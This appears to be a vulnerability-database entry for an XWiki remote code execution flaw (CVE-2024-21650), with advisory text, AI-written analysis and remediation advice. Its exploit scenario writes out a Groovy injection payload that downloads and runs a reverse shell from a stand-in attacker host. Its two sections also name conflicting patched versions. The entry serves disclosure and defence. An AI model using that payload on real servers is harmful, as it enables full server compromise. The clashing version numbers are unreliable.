Impact	CVSS 10.0, EPSS 92.5%, PoC available, patch available. XWiki is widely used as enterprise wiki and knowledge management platform. The attack requires only access to the registration page and results in full server compromise.
Exploit ScenarioDerived	An attacker registers a new account with the first name set to {{groovy}}Runtime.getRuntime().exec('curl attacker.com/shell.sh\|bash'){{/groovy}}. When any user or search crawler visits the new profile page, the Groovy code executes, downloading and running a reverse shell. The attacker gains OS-level access to the wiki server.

AnalysisAIv1 – Mar 28, 2026

XWiki Platform prior to specific patched versions contains a CVSS 10.0 remote code execution vulnerability through the user registration form. Attackers inject Groovy code into the first name or last name fields, which is executed server-side when the user profile page is rendered.

Earlier versions of this analysis (1)

v1 Mar 28, 2026 - 19:34 CVSS 10.0

XWiki Platform allows unauthenticated RCE via Groovy code injection in the user registration form's name fields.

RemediationAI

Update XWiki to 14.10.20, 15.5.4, or 15.10-rc-1. If immediate patching is not possible, disable user self-registration. Restrict Groovy scripting rights to trusted administrators only. Monitor user profile pages for suspicious macro content.

Affected Packages

Technical ContextAI · show details

XWiki renders user profile pages using its own scripting engine that supports Groovy, Velocity, and Python. The registration form stores first/last name values without sanitizing XWiki macro syntax. When the newly created user's profile page is rendered, any embedded {{groovy}} macros execute with programming rights, allowing arbitrary Java/Groovy code execution on the server.

CRITICAL 10.0

DescriptionGitHub Advisory

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. XWiki is vulnerable to a remote code execution (RCE) attack through its user registration feature. This issue allows an attacker to execute arbitrary code by crafting malicious payloads in the "first name" or "last name" fields during user registration. This impacts all installations that have user registration enabled for guests. This vulnerability has been patched in XWiki 14.10.17, 15.5.3 and 15.8 RC1.

Executive ViewAI

Why It Matters

Organizations using XWiki Platform face critical risk from CVE-2024-21650, a eval injection vulnerability rated CVSS 10.0. Successful exploitation could allow attackers to execute arbitrary code or commands on affected systems, potentially leading to full system compromise. With an EPSS score of 93%, this vulnerability faces very high likelihood of exploitation. A patch is available and should be applied immediately given the critical severity.

Business Impact: Severe

Compensating Controls

Apply vendor patch. If immediate patching is not feasible: (1) Implement network-level access controls to limit exposure; (2) Enable enhanced monitoring and alerting; (3) Apply principle of least privilege.

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution CRITICAL

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
